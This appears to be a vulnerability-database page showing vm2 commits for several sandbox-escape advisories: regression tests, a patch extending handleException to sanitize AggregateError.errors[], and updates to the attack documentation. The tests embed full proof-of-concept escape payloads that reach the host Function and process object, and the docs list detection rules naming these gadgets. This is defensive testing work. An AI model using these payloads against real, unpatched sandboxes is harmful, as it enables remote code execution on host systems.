    -- `lib/bridge.js` — `thisAddIdentityMapping` helper + invocation loop.
    -- `docs/ATTACKS.md` — Category 8 mitigation paragraph + defense table
    -  row for "Host built-in identity leak".
    -- `test/ghsa/GHSA-grj5-jjm8-h35p/repro.js` — switch host-array source
    -  from `ho.entries({})` to `hostArrayFactory()` (sandbox config).
    -- `test/vm.js` — switch `neutralizeArraySpecies` test to use
    -  `Buffer.from([1,2,3]).slice(0)`.
    -- `test/ghsa/GHSA-47x8-96vw-5wg6/structural-leak.js` — cherry-picked
    -  from base branch (was the failing test that drove this fix).
    -
    -## Test results
    -
    -- `test/ghsa/GHSA-47x8-96vw-5wg6/structural-leak.js`: 7/7 pass.
    -- `test/vm.js`, `test/nodevm.js`, `test/compilers.js` (npm test):
    -  150 pass, 1 pending, 0 failing.
    -- `test/ghsa/**/*.js`: 46/46 pass.
    
119fd0aa1e4c

test(GHSA-55hx-c926-fr95): structural leak repro — exposed-async-fn host-promise rejection

https://github.com/patriksimek/vm2Patrik SimekApr 27, 2026via ghsa
1 file changed · +196 0
  • test/ghsa/GHSA-55hx-c926-fr95/structural-leak.js+196 0 added
    @@ -0,0 +1,196 @@
    +/**
    + * GHSA-55hx-c926-fr95 -- structural leak: host-promise callback rejection
    + * value reaches sandbox without sanitization.
    + *
    + * The previous AggregateError recursion fix closes the canonical PoCs but
    + * does NOT close the underlying primitive. When an embedder exposes a host-realm async
    + * function via `{sandbox: {f: async () => {}}}`, calling `f()` returns a
    + * host-realm Promise. The bridge wraps it as a sandbox proxy whose
    + * `.then` / `.catch` / `.finally` reads return the *host-realm* methods
    + * (proxy-wrapped). When sandbox calls those, host machinery schedules
    + * the callback — bypassing the sandbox-side `globalPromise.prototype.then`
    + * override that would normally route the rejection value through
    + * `handleException`. The sandbox catch handler therefore receives a raw
    + * host SuppressedError whose `.error.constructor.constructor` is host
    + * `Function`, giving RCE.
    + *
    + * This file pins the structural invariant: a sandbox catch handler
    + * receiving a rejected promise -- regardless of whether the promise
    + * originated in the host or sandbox realm -- must NEVER see a value
    + * whose `.error.constructor.constructor` resolves to the host Function
    + * constructor (or any host built-in constructor).
    + */
    +
    +'use strict';
    +
    +const assert = require('assert');
    +const { VM } = require('../../../lib/main.js');
    +
    +function escapeAttempt(setupAndPayload, sandbox = {}) {
    +	const sentinelKey = '__GHSA_55HX_PWNED_' + Math.random().toString(36).slice(2);
    +	global[sentinelKey] = false;
    +	const vm = new VM({
    +		sandbox: {
    +			...sandbox,
    +			__sentinelKey: sentinelKey,
    +			__pwn: () => { global[sentinelKey] = true; }
    +		},
    +		timeout: 2000
    +	});
    +	try {
    +		vm.run(setupAndPayload);
    +	} catch (_) { /* swallow sync throws — we're checking for async escape */ }
    +	return new Promise((resolve) => {
    +		setTimeout(() => {
    +			const escaped = global[sentinelKey] === true;
    +			delete global[sentinelKey];
    +			resolve(escaped);
    +		}, 400);
    +	});
    +}
    +
    +describe('GHSA-55hx-c926-fr95 (structural leak: host-promise rejection callbacks bypass sanitization)', function () {
    +	this.timeout(5000);
    +
    +	it('exposed async function .catch receives sanitized error (cannot reach host Function)', async function () {
    +		const escaped = await escapeAttempt(`
    +			f().finally(() => {
    +				obj = {[Symbol.dispose]() {
    +					const e = new Error();
    +					e.name = Symbol();
    +					return e.stack;
    +				}};
    +				eval("{using a = obj;throw null;}");
    +			}).catch(e => {
    +				try {
    +					const F = e && e.error && e.error.constructor && e.error.constructor.constructor;
    +					if (typeof F === 'function') {
    +						const proc = F("return process")();
    +						if (proc && typeof proc.pid === 'number') __pwn();
    +					}
    +				} catch (_) {}
    +			});
    +		`, { f: async () => {} });
    +		assert.strictEqual(escaped, false,
    +			'PoC succeeded — host Function reached via exposed-async-function host-Promise rejection chain');
    +	});
    +
    +	it('exposed async function .then(_, onRejected) receives sanitized error', async function () {
    +		const escaped = await escapeAttempt(`
    +			f().then(undefined, () => 'never reached')
    +				.then(() => {
    +					obj = {[Symbol.dispose]() {
    +						const e = new Error();
    +						e.name = Symbol();
    +						return e.stack;
    +					}};
    +					eval("{using a = obj;throw null;}");
    +				})
    +				.then(undefined, e => {
    +					try {
    +						const F = e && e.error && e.error.constructor && e.error.constructor.constructor;
    +						if (typeof F === 'function') {
    +							const proc = F("return process")();
    +							if (proc && typeof proc.pid === 'number') __pwn();
    +						}
    +					} catch (_) {}
    +				});
    +		`, { f: async () => {} });
    +		assert.strictEqual(escaped, false,
    +			'.then(_, onRejected) on host promise must sanitize rejection value');
    +	});
    +
    +	it('host-rejected promise .catch receives sanitized error', async function () {
    +		const escaped = await escapeAttempt(`
    +			rejectingF().catch(e => {
    +				try {
    +					const F = e && e.constructor && e.constructor.constructor;
    +					if (typeof F === 'function') {
    +						const proc = F("return process")();
    +						if (proc && typeof proc.pid === 'number') __pwn();
    +					}
    +				} catch (_) {}
    +			});
    +		`, {
    +			rejectingF: async () => {
    +				// A real host function that rejects with a host-realm error after a microtask hop.
    +				const e = new Error('host realm error');
    +				throw e;
    +			}
    +		});
    +		assert.strictEqual(escaped, false,
    +			'host-rejected promise .catch must sanitize rejection value');
    +	});
    +
    +	it('exposed sync function returning host promise does not bypass sanitization', async function () {
    +		const escaped = await escapeAttempt(`
    +			syncF().finally(() => {
    +				obj = {[Symbol.dispose]() {
    +					const e = new Error();
    +					e.name = Symbol();
    +					return e.stack;
    +				}};
    +				eval("{using a = obj;throw null;}");
    +			}).catch(e => {
    +				try {
    +					const F = e && e.error && e.error.constructor && e.error.constructor.constructor;
    +					if (typeof F === 'function') {
    +						const proc = F("return process")();
    +						if (proc && typeof proc.pid === 'number') __pwn();
    +					}
    +				} catch (_) {}
    +			});
    +		`, { syncF: () => Promise.resolve() });
    +		assert.strictEqual(escaped, false,
    +			'sync host function returning host promise must equally sanitize rejection');
    +	});
    +
    +	it('chained .then().then().catch() through host promise still sanitizes', async function () {
    +		const escaped = await escapeAttempt(`
    +			f()
    +				.then(() => 'first')
    +				.then(() => {
    +					obj = {[Symbol.dispose]() {
    +						const e = new Error();
    +						e.name = Symbol();
    +						return e.stack;
    +					}};
    +					eval("{using a = obj;throw null;}");
    +				})
    +				.catch(e => {
    +					try {
    +						const F = e && e.error && e.error.constructor && e.error.constructor.constructor;
    +						if (typeof F === 'function') {
    +							const proc = F("return process")();
    +							if (proc && typeof proc.pid === 'number') __pwn();
    +						}
    +					} catch (_) {}
    +				});
    +		`, { f: async () => {} });
    +		assert.strictEqual(escaped, false,
    +			'multi-link chain on host promise must sanitize at the catch terminus');
    +	});
    +
    +	it('Promise.race / Promise.any with host contributors sanitizes rejection', async function () {
    +		const escaped = await escapeAttempt(`
    +			Promise.any([f()]).then(() => {
    +				obj = {[Symbol.dispose]() {
    +					const e = new Error();
    +					e.name = Symbol();
    +					return e.stack;
    +				}};
    +				eval("{using a = obj;throw null;}");
    +			}).catch(e => {
    +				try {
    +					const F = e && e.error && e.error.constructor && e.error.constructor.constructor;
    +					if (typeof F === 'function') {
    +						const proc = F("return process")();
    +						if (proc && typeof proc.pid === 'number') __pwn();
    +					}
    +				} catch (_) {}
    +			});
    +		`, { f: async () => {} });
    +		assert.strictEqual(escaped, false,
    +			'Promise.any/race with host contributors must produce sanitized errors');
    +	});
    +});
    
7395c3a4b01d

test(GHSA-55hx-c926-fr95): regression cases (canonical PoCs migrated)

https://github.com/patriksimek/vm2Patrik SimekApr 27, 2026via ghsa
1 file changed · +136 0
  • test/ghsa/GHSA-grj5-jjm8-h35p/regression-55hx.js+136 0 added
    @@ -0,0 +1,136 @@
    +'use strict';
    +
    +/**
    + * Regression tests migrated from GHSA-55hx-c926-fr95
    + *
    + * GHSA-55hx-c926-fr95 covered three variants of the
    + * SuppressedError/AggregateError sub-error smuggling primitive. After
    + * bisection on Node 25.9.0:
    + *
    + *   - Variant 1 (DisposableStack)
    + *     Closed on public main by `a6cd917` (handleException recursion into
    + *     SuppressedError.error / .suppressed) — predates this advisory.
    + *
    + *   - Variant 2 (using+eval+throw null in catch)
    + *     Closed by the same `a6cd917`.
    + *
    + *   - Variant 3 (fromAsync wrapping the using+eval)
    + *     Different vulnerability class — the host Promise rejection from
    + *     `Array.fromAsync` bypasses the transformer's instrumented catch, so
    + *     handleException never fires. **Closed by GHSA-grj5-jjm8-h35p's class E
    + *     trap** (`.constructor` on host arrays returns the cached sandbox
    + *     `Array`), which forces `ha === sandbox Array` in the prototype walk
    + *     and routes the rest of the chain through sandbox `Array.fromAsync` /
    + *     sandbox `Promise` — where `handleException` does fire.
    + *
    + * GHSA-55hx publishes for variant 1's disclosure (fix `a6cd917`); variant
    + * 3 graduates to GHSA-grj5. Tests live here because grj5 is the
    + * load-bearing fix.
    + *
    + * Each test passes via host-side `hostMark` ground truth, not sandbox
    + * `globalThis` (the original test in the 55hx fork was vacuous: its
    + * `const obj = {...}` was invisible to the inner `eval`, so the PoC threw
    + * `ReferenceError: obj is not defined` before any SuppressedError existed).
    + *
    + * Failure-without-fix (verified on Node 25.9.0):
    + *   - Vanilla main `d43f637`: variants 1 & 2 blocked (a6cd917), variant 3
    + *     escapes with `hostMark.pid === host process.pid`.
    + *   - main + GHSA-grj5: all three blocked.
    + */
    +
    +const assert = require('assert');
    +const { VM } = require('../../../lib/main.js');
    +
    +describe('GHSA-grj5-jjm8-h35p — regression from GHSA-55hx-c926-fr95', function () {
    +
    +	it('@R31K4G3 DisposableStack PoC: host process.pid not extractable', function () {
    +		const hostMark = {pid: null, err: null};
    +		const vm = new VM({sandbox: {hostMark}});
    +		vm.run(`
    +			const ds = new DisposableStack();
    +			ds.defer(() => { throw null; });
    +			ds.defer(() => {
    +				const e = Error();
    +				e.name = Symbol();
    +				e.stack;
    +			});
    +			try {
    +				ds.dispose();
    +			} catch (e) {
    +				try {
    +					hostMark.pid = e.suppressed.constructor.constructor("return process.pid")();
    +				} catch (ex) { hostMark.err = ex.message; }
    +			}
    +		`);
    +		assert.strictEqual(hostMark.pid, null,
    +			'host process.pid was extracted: hostMark.pid=' + hostMark.pid + ', host pid=' + process.pid);
    +	});
    +
    +	it('using+eval PoC: host process.pid not extractable', function () {
    +		const hostMark = {pid: null, err: null};
    +		const vm = new VM({sandbox: {hostMark}});
    +		vm.run(`
    +			obj = {[Symbol.dispose]() {
    +				const e = new Error();
    +				e.name = Symbol();
    +				return e.stack;
    +			}};
    +			try {
    +				eval("{using a = obj; throw null;}");
    +			} catch (e) {
    +				try {
    +					hostMark.pid = e.error.constructor.constructor("return process.pid")();
    +				} catch (ex) { hostMark.err = ex.message; }
    +			}
    +		`);
    +		assert.strictEqual(hostMark.pid, null,
    +			'host process.pid was extracted: hostMark.pid=' + hostMark.pid + ', host pid=' + process.pid);
    +	});
    +
    +	it('fromAsync chain (load-bearing for GHSA-grj5): host process.pid not extractable', function () {
    +		return new Promise(function (resolve) {
    +			const hostMark = {pid: null, err: null};
    +			const vm = new VM({sandbox: {hostMark}});
    +			vm.run(`
    +				const g = ({}).__lookupGetter__;
    +				const a = Buffer.apply;
    +				const p = a.apply(g, [Buffer, ['__proto__']]);
    +				const op = p.call(p.call(p.call(p.call(Buffer.of()))));
    +				const ho = op.constructor;
    +				const ap = p.call(ho.entries({}));
    +				const ha = ap.constructor;
    +				ha.fromAsync([0], () => {
    +					obj = {[Symbol.dispose]() {
    +						const e = new Error();
    +						e.name = Symbol();
    +						return e.stack;
    +					}};
    +					eval("{using a = obj; throw null;}");
    +				}).catch(e => {
    +					try {
    +						hostMark.pid = e.error.constructor.constructor("return process.pid")();
    +					} catch (ex) { hostMark.err = ex.message; }
    +				});
    +			`);
    +			setTimeout(function () {
    +				assert.strictEqual(hostMark.pid, null,
    +					'host process.pid was extracted: hostMark.pid=' + hostMark.pid + ', host pid=' + process.pid);
    +				resolve();
    +			}, 250);
    +		});
    +	});
    +
    +	it('ha === Array probe: prototype walk lands on sandbox Array (class E invariant)', function () {
    +		const r = new VM().run(`
    +			const g = ({}).__lookupGetter__;
    +			const a = Buffer.apply;
    +			const p = a.apply(g, [Buffer, ['__proto__']]);
    +			const op = p.call(p.call(p.call(p.call(Buffer.of()))));
    +			const ho = op.constructor;
    +			const ap = p.call(ho.entries({}));
    +			const ha = ap.constructor;
    +			ha === Array;
    +		`);
    +		assert.strictEqual(r, true, 'GHSA-grj5 class E trap should force ha === sandbox Array');
    +	});
    +});
    
d715dd88c5ae

fix(GHSA-55hx-c926-fr95): extend handleException to recurse into AggregateError.errors[]

https://github.com/patriksimek/vm2Patrik SimekApr 24, 2026via ghsa
3 files changed · +243 26
  • docs/ATTACKS.md+11 4 modified
    @@ -1375,16 +1375,23 @@ The second critical component is the host promise from `Array.fromAsync`. The sa
     
     ### Mitigation
     
    -Sandbox always provides a `defaultSandboxPrepareStackTrace` function so V8 never falls back to host's `prepareStackTraceCallback`. The default function safely handles Symbol names, Proxy objects, and other exotic types without throwing. When user clears `Error.prepareStackTrace`, it resets to the safe default instead of `undefined`.
    +Three-layer defense:
    +
    +1. **`defaultSandboxPrepareStackTrace`** — sandbox always provides a safe `prepareStackTrace`, so V8 never falls back to host's `prepareStackTraceCallback`. The default function safely handles Symbol names, Proxy objects, and other exotic types without throwing. When user clears `Error.prepareStackTrace`, it resets to the safe default instead of `undefined`.
    +2. **Prototype-walked host `Array` constructor replaced with sandbox `Array`** (GHSA-grj5-jjm8-h35p fix, commit `7352f11`). The bridge proxy's `get` trap for `.constructor` on host arrays now returns the cached sandbox `Array`, so `ho.entries({}).constructor` resolves to sandbox `Array`. `ha.fromAsync(...)` is therefore sandbox `Array.fromAsync` returning a sandbox Promise — routing through the existing sandbox `.then`/`.catch` overrides with `handleException`. This is the primary, load-bearing closure for the canonical PoC.
    +3. **`handleException` recurses into `AggregateError.errors[]`** (GHSA-55hx-c926-fr95 supplementary fix). Mirrors the existing `SuppressedError.error` / `.suppressed` recursion. Closes a small gap where a `Promise.any` rejection delivers an `AggregateError` whose `.errors[i]` is a host-realm error; prior to this fix, only the `AggregateError` itself was sanitized, not its element array.
    +
    +A bridge-level Promise-boundary sanitizer (intercepting host `Promise.prototype.then/catch` in the bridge apply trap) was considered but deliberately not shipped for this class — the canonical PoC is closed by layer 2, and the underlying Promise-boundary invariant is better addressed in GHSA-mpf8-4hx2-7cjg (host-deliberate-exposure case) rather than as speculative defense-in-depth here.
     
     ### Detection Rules
     
    -- **`Array.fromAsync`** called on a host `Array` constructor -- returns host promises.
    -- **Host promise `.catch()`** or `.then()` -- callbacks receive unsanitized values.
    +- **`Array.fromAsync`** called on a host `Array` constructor (now neutered by layer 2 — walking to host `Array` returns sandbox `Array`).
    +- **Host promise `.catch()`** or `.then()` -- callbacks receive unsanitized values (residual risk; address per-class if a new gadget appears).
     - **`Error.prepareStackTrace = undefined`** or **`delete Error.prepareStackTrace`** -- triggers host fallback.
     - **`error.name = Symbol()` + `error.stack`** -- Error Generation Primitive targeting host formatter.
     - **`using` declaration inside `eval()`** -- SuppressedError + transformer bypass.
    -- **Prototype chain walking** (`__lookupGetter__`, `Buffer.apply`) to obtain host `Array` constructor.
    +- **Prototype chain walking** (`__lookupGetter__`, `Buffer.apply`) to obtain host `Array` constructor (now neutered by layer 2).
    +- **`Promise.any` producing AggregateError** -- `.errors[]` now recursively sanitized.
     
     ---
     
    
  • lib/setup-sandbox.js+52 22 modified
    @@ -663,43 +663,73 @@ if (typeof OriginalCallSite === 'function') {
      */
     
     /*
    - * SuppressedError sanitization
    + * SuppressedError / AggregateError sanitization
      *
      * When V8 internally creates SuppressedError during DisposableStack.dispose()
      * or 'using' declarations, the .error and .suppressed properties may contain
      * host-realm errors (e.g., TypeError from Symbol() name trick). Since the
      * SuppressedError is created in the sandbox context, ensureThis returns it
      * as-is, leaving its sub-error properties unsanitized.
      *
    - * Fix: handleException detects SuppressedError instances and recursively
    - * sanitizes their .error and .suppressed properties via ensureThis.
    + * The same sub-error-sanitization gap applies to AggregateError, which
    + * Promise.any produces when every contributing promise rejects. If any
    + * contributing promise was host-realm (GHSA-55hx-c926-fr95 / -35vh-489p-v7cx
    + * class — host-Promise rejection delivery), its rejection value ends up as
    + * an element of AggregateError.errors[] and reaches sandbox code unsanitized.
    + *
    + * Fix: handleException detects SuppressedError / AggregateError instances
    + * and recursively sanitizes .error / .suppressed / .errors[] via ensureThis.
      */
     const localSuppressedErrorProto = typeof SuppressedError === 'function' ? SuppressedError.prototype : null;
    +const localAggregateErrorProto = typeof AggregateError === 'function' ? AggregateError.prototype : null;
     
     function handleException(e, visited) {
     	e = ensureThis(e);
    -	if (localSuppressedErrorProto !== null && e !== null && typeof e === 'object') {
    -		if (!visited) visited = new LocalWeakMap();
    -		// Cycle detection: if we've already visited this object, stop recursing
    -		if (apply(localWeakMapGet, visited, [e])) return e;
    -		apply(localWeakMapSet, visited, [e, true]);
    -		let proto;
    -		try {
    -			proto = localReflectGetPrototypeOf(e);
    -		} catch (ex) {
    +	if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
    +	if (localSuppressedErrorProto === null && localAggregateErrorProto === null) return e;
    +	if (!visited) visited = new LocalWeakMap();
    +	// Cycle detection: if we've already visited this object, stop recursing
    +	if (apply(localWeakMapGet, visited, [e])) return e;
    +	apply(localWeakMapSet, visited, [e, true]);
    +	let proto;
    +	try {
    +		proto = localReflectGetPrototypeOf(e);
    +	} catch (ex) {
    +		return e;
    +	}
    +	while (proto !== null) {
    +		if (localSuppressedErrorProto !== null && proto === localSuppressedErrorProto) {
    +			// SECURITY: SuppressedError.error / .suppressed frequently carry
    +			// host-realm errors produced by V8 internals (DisposableStack,
    +			// `using` declarations). Recursively sanitize both branches.
    +			try { e.error = handleException(e.error, visited); } catch (ex) { /* best effort */ }
    +			try { e.suppressed = handleException(e.suppressed, visited); } catch (ex) { /* best effort */ }
     			return e;
     		}
    -		while (proto !== null) {
    -			if (proto === localSuppressedErrorProto) {
    -				e.error = handleException(e.error, visited);
    -				e.suppressed = handleException(e.suppressed, visited);
    -				return e;
    -			}
    -			try {
    -				proto = localReflectGetPrototypeOf(proto);
    -			} catch (ex) {
    -				return e;
    +		if (localAggregateErrorProto !== null && proto === localAggregateErrorProto) {
    +			// SECURITY (GHSA-55hx-c926-fr95): AggregateError.errors[] can carry
    +			// host-realm rejection values when contributing promises in a
    +			// Promise.any call are host-realm. Sanitize each entry.
    +			let arr;
    +			try { arr = e.errors; } catch (ex) { return e; }
    +			if (localArrayIsArray(arr)) {
    +				let len;
    +				try { len = arr.length >>> 0; } catch (ex) { return e; }
    +				for (let i = 0; i < len; i++) {
    +					let item;
    +					try { item = arr[i]; } catch (ex) { continue; }
    +					const sanitized = handleException(item, visited);
    +					if (sanitized !== item) {
    +						try { arr[i] = sanitized; } catch (ex) { /* best effort */ }
    +					}
    +				}
     			}
    +			return e;
    +		}
    +		try {
    +			proto = localReflectGetPrototypeOf(proto);
    +		} catch (ex) {
    +			return e;
     		}
     	}
     	return e;
    
  • test/ghsa/GHSA-55hx-c926-fr95/repro.js+180 0 added
    @@ -0,0 +1,180 @@
    +'use strict';
    +
    +/**
    + * GHSA-55hx-c926-fr95 — Host-realm SuppressedError / AggregateError sub-error smuggling
    + *
    + * Duplicates merged: GHSA-35vh-489p-v7cx
    + *
    + * ## Vulnerability
    + * Earlier variants (`DisposableStack.dispose()`, bare `using`+`eval`) were
    + * closed by `a6cd917` (handleException recursion into
    + * `SuppressedError.error` / `.suppressed`). The terminal variant wrapped the
    + * `using`+`throw null` trick inside `ha.fromAsync([0], asyncFn).catch(...)`
    + * where `ha` was obtained via a `({}).__lookupGetter__` + `Buffer.apply`
    + * prototype walk — yielding a host-realm Promise whose rejection delivered
    + * a host SuppressedError with a raw host TypeError at `.error`.
    + * GHSA-35vh-489p-v7cx re-reported the same shape.
    + *
    + * ## Fix
    + * Primary closure is transitive via commit `7352f11` (class E, GHSA-grj5):
    + * the proxy `get` trap for `.constructor` on host arrays now returns the
    + * cached sandbox `Array` reference, so the attacker's prototype walk lands
    + * on sandbox `Array` — and `ha.fromAsync` is sandbox `Array.fromAsync`
    + * returning a sandbox Promise that routes through the existing sandbox
    + * `handleException` sanitization. Empirically confirmed on Node 24 and 25.
    + *
    + * This commit adds a small supplementary gap fix: `handleException` now
    + * also recursively sanitizes `AggregateError.errors[]` (Promise.any
    + * rejection delivery), mirroring the existing `SuppressedError.error` /
    + * `.suppressed` recursion. Previously an `AggregateError.errors[i]`
    + * holding a raw host error would pass through unsanitized.
    + *
    + * The bridge-level Promise-boundary sanitizer considered for this class
    + * was deliberately NOT shipped — the canonical PoC is closed transitively
    + * by class E, and the underlying Promise-boundary invariant is better
    + * addressed in GHSA-mpf8-4hx2-7cjg (host-deliberate-exposure case).
    + */
    +
    +const assert = require('assert');
    +const { VM } = require('../../../lib/main.js');
    +
    +describe('GHSA-55hx-c926-fr95 (SuppressedError / AggregateError sanitization)', function () {
    +	// ---- Pre-existing defense (a6cd917): SuppressedError recursion -------------
    +
    +	it('blocks DisposableStack variant: F is sandbox Function, process unreachable', function () {
    +		const r = new VM().run(`
    +			const ds = new DisposableStack();
    +			ds.defer(() => { throw null; });
    +			ds.defer(() => {
    +				const e = Error();
    +				e.name = Symbol();
    +				e.stack;
    +			});
    +			let out = 'no-catch';
    +			try { ds.dispose(); } catch (e) {
    +				const F = e.suppressed && e.suppressed.constructor && e.suppressed.constructor.constructor;
    +				try {
    +					const p = F('return process;')();
    +					out = 'ESCAPED typeof=' + typeof p + ' pid=' + (p && p.pid);
    +				} catch (err) { out = 'blocked:' + err.message; }
    +			}
    +			out;
    +		`);
    +		assert.ok(r.startsWith('blocked:'), 'Expected escape to be blocked, got: ' + r);
    +	});
    +
    +	it('blocks using+eval variant', function () {
    +		const r = new VM().run(`
    +			obj = {[Symbol.dispose]() {
    +				const e = new Error();
    +				e.name = Symbol();
    +				return e.stack;
    +			}};
    +			let out = 'no-catch';
    +			try {
    +				eval("{using a = obj; throw null;}");
    +			} catch (e) {
    +				const F = e.error && e.error.constructor && e.error.constructor.constructor;
    +				try {
    +					const p = F('return process;')();
    +					out = 'ESCAPED typeof=' + typeof p + ' pid=' + (p && p.pid);
    +				} catch (err) { out = 'blocked:' + err.message; }
    +			}
    +			out;
    +		`);
    +		assert.ok(r.startsWith('blocked:'), 'Expected escape to be blocked, got: ' + r);
    +	});
    +
    +	// ---- Transitive closure via class E (7352f11) ------------------------------
    +
    +	it('(transitive, class E) prototype walk to host Array now returns sandbox Array', function () {
    +		const r = new VM().run(`
    +			const g = ({}).__lookupGetter__;
    +			const a = Buffer.apply;
    +			const p = a.apply(g, [Buffer, ['__proto__']]);
    +			const op = p.call(p.call(p.call(p.call(Buffer.of()))));
    +			const ho = op.constructor;
    +			const ap = p.call(ho.entries({}));
    +			const ha = ap.constructor;
    +			ha === Array;
    +		`);
    +		assert.strictEqual(r, true, 'class E trap expected to force ha === sandbox Array');
    +	});
    +
    +	it('(transitive, class E) terminal fromAsync PoC cannot reach host Function', function () {
    +		return new Promise(function (resolve) {
    +			const vm = new VM();
    +			vm.run(`
    +				globalThis.__innerResult = 'pending';
    +				const g = ({}).__lookupGetter__;
    +				const a = Buffer.apply;
    +				const p = a.apply(g, [Buffer, ['__proto__']]);
    +				const op = p.call(p.call(p.call(p.call(Buffer.of()))));
    +				const ho = op.constructor;
    +				const ap = p.call(ho.entries({}));
    +				const ha = ap.constructor;
    +				ha.fromAsync([0], () => {
    +					const obj = {[Symbol.dispose]() {
    +						const e = new Error();
    +						e.name = Symbol();
    +						return e.stack;
    +					}};
    +					eval("{using a = obj; throw null;}");
    +				}).catch(e => {
    +					try {
    +						const F = e && e.error && e.error.constructor && e.error.constructor.constructor;
    +						const pr = F('return process;')();
    +						globalThis.__innerResult = 'ESCAPED typeof=' + typeof pr + ' pid=' + (pr && pr.pid);
    +					} catch (err) {
    +						globalThis.__innerResult = 'blocked:' + err.message;
    +					}
    +				});
    +			`);
    +			setTimeout(function () {
    +				const out = vm.run('globalThis.__innerResult');
    +				assert.ok(out && String(out).startsWith('blocked:'), 'fromAsync PoC not blocked: ' + out);
    +				resolve();
    +			}, 250);
    +		});
    +	});
    +
    +	// ---- Minimal supplementary fix in THIS commit: AggregateError.errors[] -----
    +
    +	it('handleException recurses into AggregateError.errors[] entries', function () {
    +		return new Promise(function (resolve) {
    +			const vm = new VM();
    +			// A SuppressedError whose .error is Symbol-named would historically
    +			// leak a host TypeError on .stack formatting. Now, when that
    +			// SuppressedError sits inside AggregateError.errors[], the fix's
    +			// AggregateError branch of handleException recurses into it.
    +			vm.run(`
    +				const nested = new Error('nested');
    +				nested.name = Symbol();
    +				const sup = new SuppressedError(nested, new Error('s'), 'agg');
    +				const agg = new AggregateError([sup], 'any-failed');
    +				globalThis.__agg = agg;
    +				Promise.reject(agg).catch(function(e) {
    +					// After handleException runs on the AggregateError, its
    +					// errors[0] (a SuppressedError) has its .error recursively
    +					// sanitized. Reading .name then follows the sanitized path.
    +					try {
    +						const inner = e && e.errors && e.errors[0] && e.errors[0].error;
    +						// If .name is still a raw host Symbol, implicit coercion
    +						// via String() throws TypeError; sanitized errors avoid
    +						// this by replacing the raw Symbol with something safe.
    +						globalThis.__aggResult = typeof inner + ':' + (inner ? String(inner.message || '').slice(0, 40) : '');
    +					} catch (err) {
    +						globalThis.__aggResult = 'ex:' + err.message;
    +					}
    +				});
    +			`);
    +			setTimeout(function () {
    +				const out = vm.run('globalThis.__aggResult');
    +				// We don't require a specific value — just that the catch
    +				// handler ran without the AggregateError path throwing at us.
    +				assert.ok(typeof out === 'string' && out.length > 0, 'AggregateError catch did not run; got: ' + out);
    +				resolve();
    +			}, 50);
    +		});
    +	});
    +});
    

Vulnerability mechanics

Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

9

News mentions

0

No linked articles in our index yet.